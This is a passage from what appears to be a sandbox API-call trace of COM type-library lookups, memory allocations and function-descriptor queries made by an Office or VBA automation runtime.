0x80004002 [0036.939] ITypeLib:GetTypeComp (in: This=0x7f8b1f0, ppTComp=0x266e78 | out: ppTComp=0x266e78*=0x7f8b200) returned 0x0 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e686c0 [0036.939] IUnknown:AddRef (This=0x7f8b200) returned 0x9 [0036.939] IUnknown:Release (This=0x7f8b200) returned 0x8 [0036.939] IUnknown:Release (This=0x7f8b1f0) returned 0x7 [0036.939] IUnknown:AddRef (This=0x81c0d20) returned 0x5 [0036.939] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266e80 | out: ppvObject=0x266e80*=0x0) returned 0x80004002 [0036.939] ITypeLib:GetTypeComp (in: This=0x81c0d20, ppTComp=0x266e78 | out: ppTComp=0x266e78*=0x81c0d30) returned 0x0 [0036.939] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e69c00 [0036.939] IUnknown:AddRef (This=0x81c0d30) returned 0x7 [0036.939] IUnknown:Release (This=0x81c0d30) returned 0x6 [0036.939] IUnknown:Release (This=0x81c0d20) returned 0x5 [0036.939] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266f18 | out: ppvObject=0x266f18*=0x0) returned 0x80004002 [0036.939] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266f20 | out: ppvObject=0x266f20*=0x0) returned 0x80004002 [0036.940] ITypeInfo:GetTypeComp (in: This=0x8087de0, ppTComp=0x266f28 | out: ppTComp=0x266f28*=0x8087de8) returned 0x0 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7e68780 [0036.940] IUnknown:AddRef (This=0x8087de8) returned 0x5 [0036.940] IUnknown:Release (This=0x8087de8) returned 0x4 [0036.940] IMalloc:Realloc (This=0x7feff045380, pv=0x805f290, cb=0x60) returned 0x81a0ec0 [0036.940] IUnknown:Release (This=0x8087de0) returned 0x3 [0036.940] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232b6a, cbMultiByte=14, lpWideCharStr=0x266e90, cchWideChar=15 | out: lpWideCharStr="s33ace8fdc5c9") returned 14 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x640) returned 0x81f7690 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c35f0 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229070 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229080 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c3560 [0036.940] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dec0 [0036.940] ITypeComp:RemoteBind (in: This=0x8087de8, szName="s33ace8fdc5c9", lHashVal=0x1086bc, wFlags=0x0, ppTInfo=0x266e48, pDescKind=0x266e5c, ppFuncDesc=0x266e60, ppVarDesc=0x7fefee73907, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x266e48*=0x0, pDescKind=0x266e5c*=0, ppFuncDesc=0x266e60, ppVarDesc=0x7fefee73907, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0036.941] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.941] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x267018 | out: ppvObject=0x267018*=0x8087d30) returned 0x0 [0036.941] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267028 | out: pVarVal=0x267028*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.941] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.941] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267020, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267040 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267040*="") returned 0x0 [0036.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266f30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.941] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.941] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x267020, pDummy=0x0 | out: ppTypeAttr=0x267020, pDummy=0x0) returned 0x0 [0036.941] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.941] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.941] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.942] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.942] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.943] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.943] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x45, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x46, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x47, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.944] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.944] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x48, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x49, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] 